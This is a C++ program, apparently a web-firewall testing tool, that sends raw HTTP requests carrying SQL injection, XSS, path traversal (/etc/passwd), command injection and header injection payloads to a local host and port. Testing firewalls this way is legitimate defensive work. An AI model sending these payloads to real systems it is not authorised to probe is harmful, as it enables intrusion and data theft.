#include <iostream>
#include <string>
#include <vector>
#include <cstdlib>
#include <ctime>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <cstring>

using namespace std;

class WebFirewallTester {
private:
    int sock;
    string targetHost;
    int targetPort;

    void createSocket() {
        sock = socket(AF_INET, SOCK_STREAM, 0);
        if (sock < 0) {
            perror("Socket creation failed");
            exit(EXIT_FAILURE);
        }
    }

    void connectToTarget() {
        struct sockaddr_in serverAddr;
        struct hostent *server;
        
        server = gethostbyname(targetHost.c_str());
        if (server == NULL) {
            cerr << "Error: No such host" << endl;
            exit(EXIT_FAILURE);
        }

        memset(&serverAddr, 0, sizeof(serverAddr));
        serverAddr.sin_family = AF_INET;
        memcpy(&serverAddr.sin_addr.s_addr, server->h_addr, server->h_length);
        serverAddr.sin_port = htons(targetPort);

        if (connect(sock, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) < 0) {
            perror("Connection failed");
            close(sock);
            exit(EXIT_FAILURE);
        }
    }

    string receiveResponse() {
        char buffer[4096];
        int bytesReceived = recv(sock, buffer, sizeof(buffer), 0);
        if (bytesReceived > 0) {
            return string(buffer, bytesReceived);
        }
        return "";
    }

public:
    WebFirewallTester(const string& host, int port) : targetHost(host), targetPort(port) {
        createSocket();
        connectToTarget();
    }

    ~WebFirewallTester() {
        close(sock);
    }

    void sendAttack(const string& attackName, const string& payload) {
        cout << "Testing: " << attackName << endl;
        
        string request = "POST /?" + payload + " HTTP/1.1\r\n";
        request += "Host: " + targetHost + "\r\n";
        request += "User-Agent: WebFirewallTester/1.0\r\n";
        request += "Connection: close\r\n\r\n";

        std::cout<<"发送的request为"<<request<<std::endl;
        if (send(sock, request.c_str(), request.size(), 0) < 0) {
            perror("Send failed");
            return;
        }

        string response = receiveResponse();
        cout << "Response (" << attackName << "):\n" 
             << response.substr(0, 200) << "..." << endl << endl;
    }

    void testSQLInjection() {
        vector<string> sqlAttacks = {
            "' OR '1'='1",
            // "admin'--",
            // "1 UNION SELECT 1,2,3,4,5--",
            // "1 AND 1=CONVERT(int,@@version)--",
            // "1; DROP TABLE users--",
            //"1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--",
            // "1' OR 1=1/*",
            // "1' OR 1=1 LIMIT 1 --"
        };

        for (const auto& attack : sqlAttacks) {
            sendAttack("SQL Injection", attack);
        }
    }

    void testXSS() {
        vector<string> xssAttacks = {
            "<script>alert('XSS')</script>",
            "<img src=x onerror=alert('XSS')>",
            "\"><script>alert('XSS')</script>",
            "javascript:alert('XSS')",
            "onmouseover=alert('XSS')",
            "data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="
        };

        for (const auto& attack : xssAttacks) {
            sendAttack("XSS Attack", attack);
        }
    }

    void testPathTraversal() {
        vector<string> pathAttacks = {
            "../../../../etc/passwd",
            "..%2F..%2F..%2F..%2Fetc%2Fpasswd",
            "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
            "..\\..\\..\\..\\windows\\win.ini",
            "/etc/passwd"
        };

        for (const auto& attack : pathAttacks) {
            sendAttack("Path Traversal", attack);
        }
    }

    void testCommandInjection() {
        vector<string> cmdAttacks = {
            "; ls -la",
            "| cat /etc/passwd",
            "`id`",
            "|| ping -c 5 127.0.0.1",
            "&& whoami",
            "$(uname -a)"
        };

        for (const auto& attack : cmdAttacks) {
            sendAttack("Command Injection", attack);
        }
    }

    void testHTTPHeaderInjection() {
        vector<string> headerAttacks = {
            "HTTP/1.1 200 OK\r\nX-Injected: true\r\n\r\n",
            "GET / HTTP/1.1\r\nHost: example.com\r\nX-Forwarded-For: 127.0.0.1\r\n\r\n",
            "GET / HTTP/1.1\r\nHost: example.com\r\nUser-Agent: <?php system('id'); ?>\r\n\r\n"
        };

        for (const auto& attack : headerAttacks) {
            sendAttack("HTTP Header Injection", attack);
        }
    }

    void testAll() {
        //testSQLInjection();
        //testXSS();
        testPathTraversal();
        //testCommandInjection();
        //testHTTPHeaderInjection();
    }
};

int main() {
    cout << "Linux Web Firewall Tester" << endl;
    cout << "=========================" << endl << endl;

    string target = "127.0.0.1"; // 更改为你的目标IP
    int port = 8080;             // 更改为你的目标端口

    WebFirewallTester tester(target, port);
    tester.testAll();

    return 0;
}